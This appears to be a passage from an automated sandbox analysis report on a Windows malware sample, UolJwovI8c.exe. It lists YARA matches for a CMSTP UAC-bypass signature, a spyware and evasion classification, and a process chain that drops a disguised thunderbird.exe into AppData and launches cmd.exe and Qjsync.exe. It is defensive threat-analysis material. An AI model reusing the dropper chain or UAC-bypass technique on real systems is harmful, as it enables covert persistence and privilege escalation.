Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 00513821 appears 501 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 10069ABC appears 45 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 10063D94 appears 77 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 005532F3 appears 85 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 10067974 appears 54 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 00550726 appears 34 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 10066D70 appears 196 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 00550237 appears 683 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 10063CBC appears 110 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 00511F13 appears 54 times
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: String function: 100423D6 appears 34 times
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: String function: 005D0726 appears 34 times
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: String function: 00591F13 appears 54 times
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: String function: 005D0237 appears 683 times
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: String function: 00593821 appears 501 times
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: String function: 005D32F3 appears 85 times
PE file contains executable resources (Code or Archives)
Source: Qjsync.exe.8.dr Static PE information: Resource name: ZIP type: Zip archive data (empty)
PE file contains more sections than normal
Source: idrccptxisabu.8.dr Static PE information: Number of sections : 12 > 10
Source: ekxwihvmv.20.dr Static PE information: Number of sections : 12 > 10
Sample file is different than original file name gathered from version info
Source: UolJwovI8c.exe, 00000000.00000000.2141545614.00000000005FD000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamecryoscope.exe0 vs UolJwovI8c.exe
Source: UolJwovI8c.exe, 00000002.00000000.2146442375.000000000057D000.00000002.00000001.01000000.00000005.sdmp Binary or memory string: OriginalFilenamecryoscope.exe0 vs UolJwovI8c.exe
Source: UolJwovI8c.exe, 00000002.00000002.2269480350.000000001008F000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: OriginalFilenameScintilla.DLL4 vs UolJwovI8c.exe
Source: UolJwovI8c.exe, 00000002.00000003.2152299284.0000000001237000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename8 vs UolJwovI8c.exe
Uses 32bit PE files
Source: UolJwovI8c.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP, NET_RUN_FROM_SWAP
Yara signature match
Source: 14.2.cmd.exe.5422acd.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.Qjsync.exe.27a86ed.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.Qjsync.exe.27a7aed.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 20.2.cmd.exe.579eacd.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 20.2.cmd.exe.5759a00.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.Qjsync.exe.2762a20.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.cmd.exe.5182a00.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.Qjsync.exe.26b1a20.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 14.2.cmd.exe.34607f8.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 14.2.cmd.exe.53dda00.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.cmd.exe.51c86cd.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 14.2.cmd.exe.54236cd.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.cmd.exe.51c7acd.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 20.2.cmd.exe.579f6cd.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.Qjsync.exe.26f76ed.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.Qjsync.exe.26f6aed.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: classification engine Classification label: mal100.spyw.expl.evad.winEXE@22/41@1/1
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005CFE21 FormatMessageW,GetLastError,LocalFree, 0_2_005CFE21
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005945EE GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,Sleep,InitiateSystemShutdownExW,GetLastError,CloseHandle, 0_2_005945EE
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_005145EE GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,Sleep,InitiateSystemShutdownExW,GetLastError,CloseHandle, 2_2_005145EE
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005D304F GetModuleHandleA,GetLastError,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CoCreateInstance,ExitProcess, 0_2_005D304F
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005B6B88 ChangeServiceConfigW,GetLastError, 0_2_005B6B88
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4436:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5160:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3896:120:WilError_03
Source: C:\Users\user\Desktop\UolJwovI8c.exe File created: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\ Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: cabinet.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: msi.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: version.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: wininet.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: comres.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: clbcatq.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: msasn1.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: crypt32.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: feclient.dll 0_2_00591070
Source: C:\Users\user\Desktop\UolJwovI8c.exe Command line argument: cabinet.dll 0_2_00591070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: cabinet.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: msi.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: version.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: wininet.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: comres.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: clbcatq.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: msasn1.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: crypt32.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: feclient.dll 2_2_00511070
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Command line argument: cabinet.dll 2_2_00511070
Source: UolJwovI8c.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\cmd.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM ' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name, %d+18,10) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#0,%Q);
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM ' || quote(name) || ';'FROM sqlite_master WHERE type = 'table' AND name!='sqlite_sequence';
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: UolJwovI8c.exe String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: UolJwovI8c.exe String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: C:\Users\user\Desktop\UolJwovI8c.exe File read: C:\Users\user\Desktop\UolJwovI8c.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\UolJwovI8c.exe "C:\Users\user\Desktop\UolJwovI8c.exe"
Source: C:\Users\user\Desktop\UolJwovI8c.exe Process created: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe "C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe" -burn.clean.room="C:\Users\user\Desktop\UolJwovI8c.exe" -burn.filehandle.attached=684 -burn.filehandle.self=512
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Process created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe "C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe"
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Process created: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Qjsync.exe C:\Users\user\AppData\Local\Temp\Qjsync.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe "C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe"
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe "C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe"
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Qjsync.exe C:\Users\user\AppData\Local\Temp\Qjsync.exe
Source: C:\Users\user\Desktop\UolJwovI8c.exe Process created: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe "C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe" -burn.clean.room="C:\Users\user\Desktop\UolJwovI8c.exe" -burn.filehandle.attached=684 -burn.filehandle.self=512 Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Process created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe "C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe" Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Process created: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Qjsync.exe C:\Users\user\AppData\Local\Temp\Qjsync.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Qjsync.exe C:\Users\user\AppData\Local\Temp\Qjsync.exe Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: msi.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: msxml3.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: feclient.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: msxml3.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: feclient.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: js3250.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: xpcom_core.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: smime3.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: ssl3.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: nsldap32v50.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: nsldappr32v50.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: xpcom_compat.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: softokn3.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: plc4.dll Jump to behavior
